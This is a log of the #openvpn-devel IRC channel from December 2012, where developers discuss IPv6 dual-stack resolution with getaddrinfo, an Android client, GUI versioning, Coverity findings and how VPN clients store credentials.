8.3-RELEASE-p3 FreeBSD 8.3-RELEASE-p3 #0: Tue Jun 12 00:39:29 UTC 2012 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64 10:21 <@ecrist> ecrist@forums:~-> uptime 10:22 <@ecrist> 10:21AM up 5 mins, 1 user, load averages: 0.08, 0.17, 0.09 10:48 <@vpnHelper> RSS Update - tickets: #243: Allow IPV6 addresses in dhcp-options <https://community.openvpn.net/openvpn/ticket/243> 13:20 -!- dazo is now known as dazo_afk --- Log closed Fri Dec 07 14:01:03 2012 --- Log opened Sat Dec 08 14:07:54 2012 14:07 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 14:07 -!- Irssi: #openvpn-devel: Total of 13 nicks [7 ops, 0 halfops, 1 voices, 5 normal] 14:07 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 14:07 -!- Irssi: Join to #openvpn-devel was synced in 0 secs 14:29 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 15:00 <@mattock_> cron2: agreed 15:31 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:31 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:46 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 18:19 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:19 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:14 -!- Netsplit *.net <-> *.split quits: @mattock_ 19:16 -!- Netsplit over, joins: mattock_ 19:16 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 19:18 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 21:29 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:29 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sun Dec 09 2012 00:31 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 06:27 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 06:27 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:34 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 11:36 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:36 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 13:51 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 14:28 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:28 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:06 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] --- Day changed Mon Dec 10 2012 00:55 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:55 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:53 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has left #openvpn-devel [] 03:19 <@cron2> so where is ecrist hiding? 03:25 <+krzee> its 3:30 am his time 03:26 <+krzee> he's bed with wifey 03:26 <+krzee> in* 03:26 <@cron2> but he wasn't here on the weekend either, and IPv6 to forums is still broken. *rant* 03:26 <+krzee> ahh 03:46 <@cron2> next one missing in action is dazo... 03:46 <@cron2> *sigh* 04:30 -!- novaflash [~novaflash@openvpn/user/novaflash] has quit [Ping timeout: 241 seconds] 04:31 -!- novaflash [~novaflash@openvpn/user/novaflash] has joined #openvpn-devel 07:41 * ecrist is here 07:45 <@ecrist> cron2: ipv6 should be back up 07:53 <@cron2> ecrist: it is, thanks! 07:54 <@ecrist> it's a problem related to only rebooting that VM every 2 years 07:54 <@ecrist> heh 07:54 <@cron2> don't reboot, then! :-) (have you over-restrictive firewall rules?) 07:59 <@ecrist> no, at one point we moved the IPv6 address to the same NIC as the IPv4 address and the boot config wasn't changed. 07:59 <@ecrist> it's fixed now 08:00 <@cron2> ah, this kind of problem. Indeed, we should all be running windows and reboot once a week! 08:00 <@ecrist> right 08:00 <@ecrist> I'll put in a request to upgrade that VM to windows ME today 08:07 <@cron2> thanks! 08:10 * plaisthos tries to remember if there was IPv6 support for Windows ME 12:23 <+krzee> there was certainly support for weekly reboots 12:23 <+krzee> heheh 13:57 <@ecrist> heh 14:05 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 14:25 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:25 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:23 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 264 seconds] 23:24 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:24 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue Dec 11 2012 01:51 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:51 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 03:40 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds] 03:55 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 03:55 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:07 <@cron2> plaisthos: are you there? 14:21 < plaisthos> cron2: yes 14:24 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 14:31 <@cron2> just got contacted by someone working with Gnome NM and fighting --proto udp6 :-) - sent him here, gave him your name "he's da man, fixing dat!" :-) 14:31 <@cron2> (Tore Anderson, very active in IPv6 deplyoment, the one behind the first commercial large content provider with ipv6 in .no) 14:33 <@cron2> mattock: how are you building the windows binaries these days? Purely cross-compiled, or "something with python in it"? 14:34 < plaisthos> cron2: ah okay 14:35 <@cron2> plaisthos: not a "user", don't worry :) - I think he's fighting nickserv right now, to be permitted in here 14:48 -!- tore_ [~tore@login.redpill-linpro.com] has joined #openvpn-devel 14:48 <@cron2> there he is :-) 14:49 <@cron2> plaisthos: meet tore_, well known IPv6 hero. tore_: meet plaisthos, well known openvpn code janitor 14:49 < tore_> yep, had to wait a bit for the registration e-mail to come through due to graylisting 14:49 < tore_> hello plaisthos :) 14:49 < plaisthos> tore_: hello 14:50 < tore_> I want to add support for openvpn ipv6 (both transport and payload) in GNOME NetworkManager 14:50 < tore_> (or at least pester the other coders enough so they do it for me;) 14:50 < tore_> so I was playing a bit around with it, and one problem that I noticed was that you don't resolve the --remote <foo> using AI_V4MAPPED 14:51 < tore_> so --remote 1.2.3.4 --proto udp6 or --remote some.v4.only.hostname --proto udp6 fails with some resolver error message 14:52 < tore_> currently networkmanager only passes in whatever string the user gave as --remote $foo and only distinguishes between udp/tcp 14:52 < tore_> and I think it would not be well received to ask user to decide on udp vs udp6, so the alternative would be to resolve the remote gateway string in nm-openvpn, which also seems like a bit of a hack 14:53 < plaisthos> yeah 14:54 < tore_> so what I would like to see is the <remote> being resolved using AI_V4MAPPED, so that we can always use udp6/tcp6 and continue to pass in any ipv4 literals and ipv4-only hostnames directly to --remote as before 14:54 < tore_> I've verified that specifying --remote ::ffff:192.0.2.1 --proto udp6 works just hunky dory 14:55 < tore_> so at least on linux I see no reason to use udp/tcp (the ipv4 variants) at all 14:55 < tore_> do I talk sense? :) 14:55 < plaisthos> yes 14:58 < tore_> cron2: you mentioned that v4-mapped addresses wouldn't work on *bsd, but is that only for the socket calls, or doesn't getaddrinfo() accept it? 14:58 < plaisthos> I also have developed a patch (series) for openvpn 2.3 which adds better dual stack support for the client 14:58 < plaisthos> so the client will go through addresses returned by getaddrinfo 14:59 < tore_> using AF_UNSPEC? 14:59 < plaisthos> I think the AI_V4MAPPED approach will fail unless you have nobind in the client configuration 14:59 <@cron2> tore_: man getaddrinfo does not mention AI_V4MAPPED, so I'd assume that for v4 address, you'd get AF_INET back, and that's it 14:59 < plaisthos> tore_: yes 15:00 <@cron2> (that was on FreeBSD 9.0) 15:01 < tore_> cron2: could you grab http://fud.no/gai2.c, compile it and run e.g. ./gai2 www.ripe.net 15:01 < tore_> cause I think if you give it AF_INET6 you can't get AF_INET results back, either you'll get v4-mapped AF_INET6 results or nothing at all 15:01 < tore_> I think 15:01 <@cron2> [ 0us] begin gai_and_connect(www.ripe.net) 15:01 <@cron2> [+ 923us] getaddrinfo(www.ripe.net) failed: Invalid value for ai_flags 15:01 <@cron2> Memory fault (core dumped) 15:01 <@cron2> "it is not happy" 15:02 < tore_> right. shame on me for undefensive coding =) 15:02 < plaisthos> tore_: one problem with your approach is also 15:02 < tore_> if you set ac=0 instead of ac=AI_V4MAPPED then? 15:02 < tore_> in main() 15:03 < plaisthos> if you have broken dual stack on your linux box openvpn will *never* try the v4 address 15:03 <@cron2> oh, interesting, the define AI_V4MAPPED *exists*, it's just not documented 15:03 <@cron2> with ac=0, I get "dest = 2001:67c:2e8:22::c100:68b (AF_INET6)" 15:04 < tore_> plaisthos: but that won't work anyway right? 15:04 < plaisthos> tore_: support an average user 15:04 < plaisthos> which puts there openvpn.blinkt.de as his vpn server 15:04 < plaisthos> (or any other aaaa/a host) 15:04 < plaisthos> with proto udp it will work 15:05 < plaisthos> with proto udp6 and V4Mapped it is borken 15:05 < tore_> it will? with your patchset? 15:05 < tore_> or currently? 15:05 <@cron2> current code, as the code does not try multiple addresses for the destination 15:05 < plaisthos> if you patch current code to do AI_V4MAPPED 15:06 < plaisthos> btw. on my not dual stacked v4 os x your gai.c is broken as well :) 15:06 < plaisthos> it will only try the ipv6 address 15:06 < tore_> a bit confused here, you're saying that --proto udp --remote openvpn.blinkt.de *will* result in ipv6->ipv4 failover with current code? 15:06 < tore_> if so I need to redo some tests, I thought that would do v4 only and no v6 at all 15:06 <@cron2> tore_: no, with --proto udp it will only try ipv4 15:07 < plaisthos> what cron2 says :) 15:07 <@cron2> that's why it will not be harmed by broken IPv6 :) 15:07 < tore_> ah I see 15:07 < tore_> but if average user puts in --remote openvpn-ipv6-only.blinkt.de instead, it won't work either, even if his ipv6 is just fine 15:07 <@cron2> basically, OpenVPN 2.3 does not gracefully handle multiple IP addresses (of any kind) for the target server - be it multiple IPv4, multiple IPv6, or IPv4+IPv6: it will pick *one* (the first one returned by getaddrinfo()) 15:08 < plaisthos> tore_: and worse the AI_V4MAPPED mapped options seems to return the real ipv6 adress first and then the mapped 15:08 < plaisthos> on OS X and linux 15:08 < plaisthos> even if the system has no IPv6 15:09 < tore_> you'll need AI_ADDRCONFIG to suppress ipv6 on ipv4-only system and vice versa 15:10 < tore_> (however, it will look at any autoconfigured link-local addresses and say "oh look ipv6 connectivity" and not suppress any ipv6 addresses - on linux at least) 15:10 < plaisthos> on OS X it works 15:10 <@cron2> we're back to happy eyeballs - the system might have IPv6, just not working good enough... so having thought about this for a while, and knowing 2.3, I think "having an [X] IPv4 [ ] IPv6 radio box in NM is what will make sense for OpenVPN 2.3" 15:11 <@cron2> (IPv4 -> proto udp, IPv6 -> proto udp6, and if you want both, you need to specify a config file with <connection> profiles 15:11 < tore_> I wrote a patch to improve the glibc AI_ADDRCONFIG situation recently in case you're interested: https://bugzilla.redhat.com/attachment.cgi?id=660514 15:11 <@cron2> plaisthos: can you do <connection> on the --commandline? 15:11 < plaisthos> cron2: no 15:11 < plaisthos> well you can 15:12 < tore_> (and much more info at https://fedoraproject.org/wiki/Networking/NameResolution/ADDRCONFIG) 15:12 <@vpnHelper> Title: Networking/NameResolution/ADDRCONFIG - FedoraProject (at fedoraproject.org) 15:12 < plaisthos> but requires passing newlines on the command line 15:12 < plaisthos> which is not really easy 15:13 < plaisthos> --remote abc 1194 udp --remote def 1194 udp6 should work 15:13 <@cron2> that works? wow :) 15:14 <@cron2> so that would be [X] IPv4 [X] IPv6 then... 15:14 < plaisthos> yeah should built a remote list which then converted to connection profiles 15:14 < plaisthos> tore_: you might want to look at my patch series which is a much better solution to this mess 15:14 < tore_> plaisthos: when is your getaddrinfo() looping patch set going to be merged you think? 15:15 < plaisthos> tore_: when more people look at it and test it 15:15 < plaisthos> tore_: I have the same problem as you 15:15 < plaisthos> tore_: that I don't want the user to choose between ipv4/ipv6 15:15 < tore_> cause I'm thinking that it might be better to just hold on until that's in place instead of implementing hacks around it 15:16 < plaisthos> If I am brave I might force my users to test it :) 15:16 <@cron2> plaisthos: was that in the patch set you sent to the list? I stared at some of the patches, got dizzy, and went hacking easier bits 15:16 < plaisthos> cron2: yes 15:16 < plaisthos> the [10/10] patch does that 15:16 < plaisthos> the biggest of them all 15:16 < tore_> I thought first you would be looping within --proto udp6, if so AI_V4MAPPED would have worked fine I think. otherwise AI_V4MAPPED|AI_ADDRCONFIG could have worked with --proto udp6 but unfortunately, as mentioned, the glibc AI_ADDRCONFIG implementation sucks 15:17 < tore_> oh well 15:17 < tore_> plaisthos: where do I find your patch? 15:17 < plaisthos> on the ML 15:17 < plaisthos> or wait 1 min then I push it github 15:18 <@cron2> http://news.gmane.org/gmane.network.openvpn.devel 15:18 <@vpnHelper> Title: Gmane Loom (at news.gmane.org) 15:18 <@cron2> 30 Nov "[PATCH 10/10] Implement dual stack client support for OpenVPN" 15:18 <@cron2> plus the 9 patches before that 15:20 < tore_> right 15:20 < tore_> thanks 15:20 < plaisthos> https://github.com/schwabe/openvpn/tree/newsocket_client 15:20 <@vpnHelper> Title: schwabe/openvpn at newsocket_client · GitHub (at github.com) 15:21 < plaisthos> if you want a git pullable copy 15:21 < tore_> that's nice yep :) 15:21 < plaisthos> When I get positive feedback to patches I will consider push the dual stack to the Android version 15:21 < tore_> won't be able to look at it tonight though 15:21 < plaisthos> so it gets a broader testing 15:23 < tore_> I didn't even know openvpn had an android version :) *goes to look for it* 15:23 < plaisthos> tore_: more than one 15:24 <@cron2> lol 15:24 * plaisthos knows of at least three 15:24 <@cron2> I think there are even more, but only 3 using the VPN API :-) - some older stuff needed root 15:25 < plaisthos> cron2: at least of the VPN provider app is also using OpenVPN but is missing the GPL copyright 15:25 <@cron2> ouch 15:26 < plaisthos> and I am not sure if it is obsfuscated from my version or an own implementation 15:26 < plaisthos> hideman vpn at least acknowleges my app but still misses the GPL copyright 15:27 < plaisthos> https://play.google.com/store/apps/details?id=hotspotshield.android.vpn 15:27 <@vpnHelper> Title: Hotspot Shield VPN - Android Apps on Google Play (at play.google.com) 15:27 < tore_> cool 15:27 < tore_> so this is how I can make spotify work on my ipv6 3g connection =) 15:27 * cron2 grumbles a bit "still no IPv6 3g here in .de" 15:28 <@cron2> I'm sooo annoyed 15:28 < plaisthos> their java code is obfuscated but the decompiled code shows some parallels to my implementation 15:28 < tore_> I wonder why cameron didn't implement 464xlat as an app in this manner 15:28 < plaisthos> so I am not sure 15:28 < tore_> cron2: come to norway then, we're probably hiring 15:29 <@cron2> tore_: heh :-) - thanks for the offer. One of the other devs (dazo) just moved to norway last year - there must be something in the air :-) 15:29 <@cron2> I'm quite happy here, though, except for the IPv6 annoyances by the large Telcos... 15:30 < plaisthos> cron2: DTAG is starting IPv6 on DSL 15:30 <@cron2> for some values of DSL... (they sort-of-promised "we will just turn it on, region by region", and that got changed into "oh, if you get a *new* contract, with the IP-only product with no separate voice channel but VoIP, then you'll get IPv6!") 15:31 < plaisthos> cron2: yeah 15:31 <@cron2> and the initial promise "you'll receive the same /56 every time, unless you're offline for a longer period of time" got replaced with "a new /56 on every connect"... *grumble* 15:31 < tore_> calling it a night, ttfn 15:31 <@cron2> tore_: good night 15:31 * cron2 needs to go to bed as well 15:31 < plaisthos> tore_: good night 15:34 < plaisthos> cron2: good night :) 15:40 < plaisthos> cron2: a new /56 if you are offline for longer than 2 minutes seems to the new modus 15:41 < plaisthos> you get the feeling they are trying to test out ipv6 renumbering abilities 15:42 <@cron2> I get the feeling that someone high enough in the management chain f*cked up big time... "we've done this with IPv4 just fine, and customers are happy to pay extra for static addresses!!" plus "customers all want IPv6, so they will move to the new product type!!"... 15:43 <@cron2> ... but in reality this will just lead to people doing IPv6 NAT and "not doing IPv6" (because they wouldn't know why they would want to ask for it) 16:09 < plaisthos> btw. a nice crowd service (free for non commercial opensource) is crowdin 16:09 < plaisthos> http://crowdin.net/project/ics-openvpn 16:09 <@vpnHelper> Title: OpenVPN for Android Translations - Crowdin.net (at crowdin.net) 16:09 < plaisthos> if anyone needs something like this :) --- Log closed Tue Dec 11 16:49:29 2012 --- Log opened Wed Dec 12 07:15:45 2012 07:15 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 07:15 -!- Irssi: #openvpn-devel: Total of 14 nicks [7 ops, 0 halfops, 1 voices, 6 normal] 07:15 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:15 -!- Irssi: Join to #openvpn-devel was synced in 2 secs 14:37 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 264 seconds] 14:50 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:50 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:36 -!- dazo is now known as dazo_afk --- Log closed Wed Dec 12 19:16:20 2012 --- Log opened Thu Dec 13 07:51:01 2012 07:51 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 07:51 -!- Irssi: #openvpn-devel: Total of 14 nicks [7 ops, 0 halfops, 1 voices, 6 normal] 07:51 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:51 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 08:13 <@cron2> mattock: 2.1.21c, latest svn checkout 08:14 <@mattock_> mkay 08:14 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 265 seconds] 08:15 <@mattock_> I wouldn't try building with that 08:15 <@mattock_> I don't think it contains any of my python build system patches 08:16 <@mattock_> i.e. it's incomplete 08:16 <@mattock_> it should be possible to take the buildsystem in 2.2.x and put that on top of 2.1 08:17 <@cron2> mattock_: I got it to work, at least far enough to build openvpn.exe (I don't need an installer or tap driver) 08:19 <@mattock_> ah, then it should be ok 08:19 <@mattock_> the packaging aspects were incomplete 08:20 <@mattock_> i.e. it didn't build a NSIS installer 08:24 <@mattock_> you can try out the new Trac here: http://174.36.59.156/openvpn 08:24 <@vpnHelper> Title: OpenVPN Community (at 174.36.59.156) 08:25 <@mattock_> for some reason the upgrade messed up the attachments 08:25 <@mattock_> I already know the cause, trying to fix it 08:33 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 08:33 -!- mode/#openvpn-devel [+v krzee] by ChanServ 08:45 <@mattock_> ah, seems fixed now 08:55 <@d12fk> just switched to incremental versioning for the windows gui, dist looks rather strange: openvpn-gui-2.tar.gz 08:56 <@d12fk> mattock_: that means the you can request a new version from me if there's pending commits that should be released/included 08:56 <@mattock_> d12fk: excellent! 08:56 <@d12fk> also solves the problems of snapshot releases, they are just regular one... 08:58 <@mattock_> d12fk: what's the actual version number at the moment? 08:58 <@mattock_> my latest openvpn-gui bundle used 1.0.7 08:59 <@mattock_> i.e. that shows up in the EXE properties and configure.ac 08:59 <@d12fk> yeah, but continuing with v2 is compatible 08:59 <@d12fk> properties will show 2.0.0.0 then 09:00 <@d12fk> up to $((2^16)).0.0.0 09:01 <@mattock_> yep, no problem, as long as each snapshot/release can be disambiguated from the rest 09:04 <@d12fk> the rule will be latest is always best 09:05 <@d12fk> and will always work with the maintained oepnvpn versions. good enough? 09:12 <@dazo> and have more bugs, of course 09:12 * dazo ducks 09:16 * d12fk adheres to the rule that every bugfix should introduce two new bugs 09:16 <@d12fk> pragmatic programming 09:18 <@dazo> hehe 09:19 <@cron2> d12fk: no, that's programmer job security 09:19 <@ecrist> ping mattock_ 09:19 <@cron2> poke dazo 09:19 * dazo peeks 09:19 <@d12fk> cron2: thats the pragma =) 09:19 <@mattock_> pong 09:23 <@ecrist> where is that user trying to post? 09:23 <@ecrist> they might be trying to reply to a locked thread 09:25 <@cron2> dazo: how's your scheduling? 09:26 <@dazo> busy ... trying to get in a few patches right now ... I'll try to complete it within 20-30 min or so 09:30 <@mattock_> ecrist: I'm not sure, I asked him if he still has a problem 09:30 <@mattock_> I was just wondering if you knew the guy 09:30 <@mattock_> let's wait what he has to say 09:36 <@ecrist> no, I don't know him 09:40 <@d12fk> dazo: you know http://www.youtube.com/watch?v=oJLqyuxm96k? 09:40 <@vpnHelper> Title: Africa For Norway - New charity single out now! Official christmas video - YouTube (at www.youtube.com) 09:41 <@dazo> d12fk: yeah! It's hilarious! (and I love the critics in it) 09:54 <@mattock_> we got plenty of snow here atm 09:54 <@mattock_> which is nice 09:54 <@dazo> okay ... pushing out three commits now ... 09:55 <@mattock_> dazo: have you taken a look at coverity's reports? 09:55 <@dazo> No, haven't had a time ... been sick 2 days this week ... so have quite a backlog 09:55 <@mattock_> I can try to get James to look at those, too, as he has a vested interest in them also 09:55 <@dazo> yeah, agreed 09:56 <@mattock_> if that fails, then somebody else can take a look 09:56 <@mattock_> before 2.3.0 anyways 09:57 <@dazo> I think we should tag 2.3_rc2 now ... but I can't manage now ... need to wait for at least tomorrow 09:57 * dazo need to run in 2 min 09:59 <@vpnHelper> RSS Update - testtrac: Implement --mssfix handling for IPv6 packets. <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=f0e8997a874a89b3fe1f82109c443232e8967b01> || Fix the proto is used inconsistently warning <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=38727e09df35245ba0cfe335e23e6b43c817ce58> || Remove dnsflags_to_socktype, it is not u 10:01 -!- dazo is now known as dazo_afk 10:05 <@d12fk> ppl are all consused about the internet 10:06 <@d12fk> i have a users asking questions and requesting features in the sf.net review tool m( 10:08 <@mattock_> well, your project is on the site, so it must be your site... :P 10:08 <@mattock_> analogous to "your car is on the parking lot, it must be your parking lot" 10:09 <@d12fk> it is the projects reviews, but the wrong tools for the job 10:09 <@mattock_> ah, I see 10:09 <@mattock_> comments section 10:09 <@d12fk> with no way to answer... 10:09 <@mattock_> any "this sucks" comments? 10:10 <@d12fk> nah, probably to tech audience for that 10:10 <@d12fk> plus i don't say that this can open VPNs anywhere =) 10:11 <@mattock_> yeah, but OpenVPN is a VPN, so it can work with any VPN, right? 10:11 <@d12fk> mattock_: the official ovpn icons. do you have a vector format you could provide 10:11 <@mattock_> yes 10:11 <@mattock_> I'll email it to you 10:11 <@mattock_> had to make one for the T-shirts 10:11 <@d12fk> thanks 10:13 <@mattock_> if you have some time, please try the new Trac instance out: http://174.36.59.156/openvpn/wiki 10:13 <@vpnHelper> Title: OpenVPN Community (at 174.36.59.156) 10:13 <@mattock_> I'll do the migration next week if it works ok 10:18 <@d12fk> open source no workee 10:19 <@d12fk> someone has written a standalone tool to save and fill in user/pass into the GUI dialog, instead of implementing it into the GUI directly 10:20 <@d12fk> ah hidemyass pro vpn 10:21 <@d12fk> too bad now i have to do it myself 10:21 <@d12fk> have yet to figure out a safe place to store the passwords 10:40 <@d12fk> hm, the securepoint client generates a key and saves it in its setting, wha's the deal with crypting the user/pass then in the first place? 10:41 <@d12fk> base64 would suffice i suppose 10:41 < plaisthos> :D 10:42 < plaisthos> d12fk: my app would be proud of you 10:43 <@d12fk> are you saving them b64 encoded? 10:44 < plaisthos> d12fk: nah, I have a OpenVPNProfile class I am using java serialization to save to it to a file 10:45 < plaisthos> it probably ends up in clear text in the file 10:46 <@d12fk> is that best practice? 10:46 < plaisthos> Probably not 10:47 <@d12fk> looked around for Windows Wallet, but it seems to be gone since somewhere after IE4 =) 10:47 < plaisthos> There is an android account manager API but that also stores them in clear 10:48 < plaisthos> I could generate a private key and certificate to encrypt my user/password data and save that certificate into the OS keystore 10:48 < plaisthos> but my motivation to implement that was too low 10:49 < plaisthos> (on mobile phones without hardware keystore it may be stored plain again .....) 10:51 <@d12fk> can you fetch the key from there or does it decrypt inside the store? 10:52 < plaisthos> d12fk: inside the store 10:52 < plaisthos> real hardware cryptography on Google Nexus devices 10:53 <@d12fk> and you have to allow an app access to the keystore during installation? 10:53 <@d12fk> o r is it done differently 10:54 <@d12fk> cause any user wanting an app will just permit anything 10:56 < plaisthos> as app you can request access to one certificate to the keystore (Intent in Android) and the user will be presented a dialog where he can pick a certificate which he allows access to 10:56 <@d12fk> ok that's a bit more fine grained 10:57 <@d12fk> i'll probably just implement crypting with a master password and provide a way to save them in plain if user choose to 10:58 < plaisthos> Yeah 11:01 <@d12fk> oh my, the key they generate is "S3m!BHF" + number_1 (1..1500) + "83$%§kd" + number_2(1..2500) + currentDateTime() + number_1 11:01 <@d12fk> looks random enough 11:02 < plaisthos> d12fk: :) 11:03 < plaisthos> d12fk: the hideman android app is based on my app :) 11:03 < plaisthos> but I did not went as far as disassembling it 11:05 <@d12fk> that client is on sf.net in svn 11:05 <@d12fk> wouldn't care to reverse it from binary =) 11:05 <@d12fk> esp. as it's in QT 11:06 < plaisthos> hehe 12:58 <@cron2> mattock_: can you send me the coverity reports as well, please? 14:04 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 255 seconds] 14:07 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 14:07 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:11 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn-devel [] 15:24 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 265 seconds] 15:36 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:36 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:11 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] --- Day changed Fri Dec 14 2012 01:29 <@mattock_> all FOSDEM devrooms have been booked, but we can probably get a "BoF" room for private meeting etc 01:30 <@mattock_> those rooms can't be booked in advance, so if we're at FOSDEM early, we should get one 01:48 <@mattock_> d12fk: it seems I have to redraw the logo with inkscape 01:49 <@mattock_> we'll see --- Log closed Fri Dec 14 03:04:28 2012 --- Log opened Fri Dec 14 07:48:20 2012 07:48 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 07:48 -!- Irssi: #openvpn-devel: Total of 13 nicks [6 ops, 0 halfops, 1 voices, 6 normal] 07:48 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:48 -!- Irssi: Join to #openvpn-devel was synced in 2 secs 08:11 < plaisthos> It is long since I heard something of Alon 08:11 <@cron2> argh, now you've said it 08:12 <@cron2> (I had the same thought a few hours ago, and did not miss him that much...) 08:22 < plaisthos> My first mail from him was that I did not use git correctly 08:27 <@cron2> I have no issue with people telling me that there a better ways of doing something - what I do not like is if people disagree on principle with everybody who is doing things different, and are not able to accept anybody else's opinion as valid. "Do it my way, or nothing else!". 08:33 < plaisthos> Yeah. I remember the discussion why I need to use autoconf/configure for Android and Android's Android.mk stuff 08:48 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 09:19 < plaisthos> and now, Chinese FW versus OpenVPN 09:21 <+krzee> ehh? 09:21 * krzee takes a peek at -devel 09:23 <+krzee> cant they just use tor-proxy 09:23 <+krzee> sorry i mean tproxy 09:25 <+krzee> hmmm maybe thats not it either, all i remember is that someone made a proxy tool, its related to tor project somehow, and it tunnels traffic to make it blend in and get past restrictive firewalls 09:26 <+krzee> Obfsproxy 09:26 <+krzee> thats it! 09:27 <+krzee> im not on -devel, but i hope someone tells him about that tool 09:46 <@ecrist> heh, I told him 09:46 <+krzee> oh nice =] 09:47 <+krzee> i found that gmane actually gives the email, was gunna tell him haha 09:53 <@ecrist> sporting the @ in the main channel now, eh? 09:53 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:53 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 09:54 <+krzee> haha ya, its gotten quite big 09:54 <+krzee> we'll break 200 soon i bet 09:55 <+krzee> keeping the hammer in hand 09:56 <@ecrist> that's why I did it 09:58 <+krzee> ya i noticed you did, realized it made sense to followed 09:58 <+krzee> s/to/so/ 10:05 <@ecrist> we've been hovering around 160+ lately 10:06 <@ecrist> matter of time, like you said, before we hit 200 10:09 <@cron2> mattock: t-shirts and coverity, please :-) 10:09 <@mattock_> cron2: good news, I'll order the T-shirts 10:10 <@mattock_> we have a good chance of getting them :D 10:10 <@mattock_> I'll create you a coverity account, just a sec 10:11 <@cron2> ah, so you look at the coverity stuff online 10:11 <@mattock_> yep 10:15 < plaisthos> t-shirts? 10:18 <@mattock_> cron2: you should get an email from Coverity 10:18 <@mattock_> shortly 10:18 <@mattock_> plaisthos: yep, T-shirts with the OpenVPN(TM) logo in them 10:18 <@mattock_> they were originally intended for last FOSDEM 10:18 <@mattock_> basically everything was ready before last FOSDEM, but nobody pushed the button to order them 10:42 <@mattock_> cron2: did you get mail from Coverity? 11:02 <@cron2> mattock: not yet, but maybe it's stuck in greylisting 11:02 <@cron2> ah. *there* it is :) 11:05 <@mattock_> cron2: if you find some tricky issues in coverity, we could perhaps arrange a meeting before Christmas to sort them out 11:05 <@cron2> mattock_: still working on the login :) 11:05 <@mattock_> I assumed so, just wanted to get that off my chest :) 11:14 <@mattock_> hmm, I wonder why T-shirts in Finland (or Europe in general?) cost ~3 times more than in U.S. (i.e. ooshirts.com) 11:15 <@mattock_> it can't be just the T-shirt quality 11:15 <@cron2> ok, half of the coverity complaints are true, but meaningless 11:15 <@mattock_> hahaha 11:16 <@cron2> every instance of msg(M_WARN, ...) or msg(M_ERR, ...) triggers a "you should not compare 0 <= <something signed> as that is always true" 11:16 <@cron2> which is true, but that's the point :-) - M_WARN and M_ERR messages are not suppressed 11:16 <@mattock_> this is one store I'm considering 11:17 <@mattock_> http://www.spreadshirt.co.uk/ 11:17 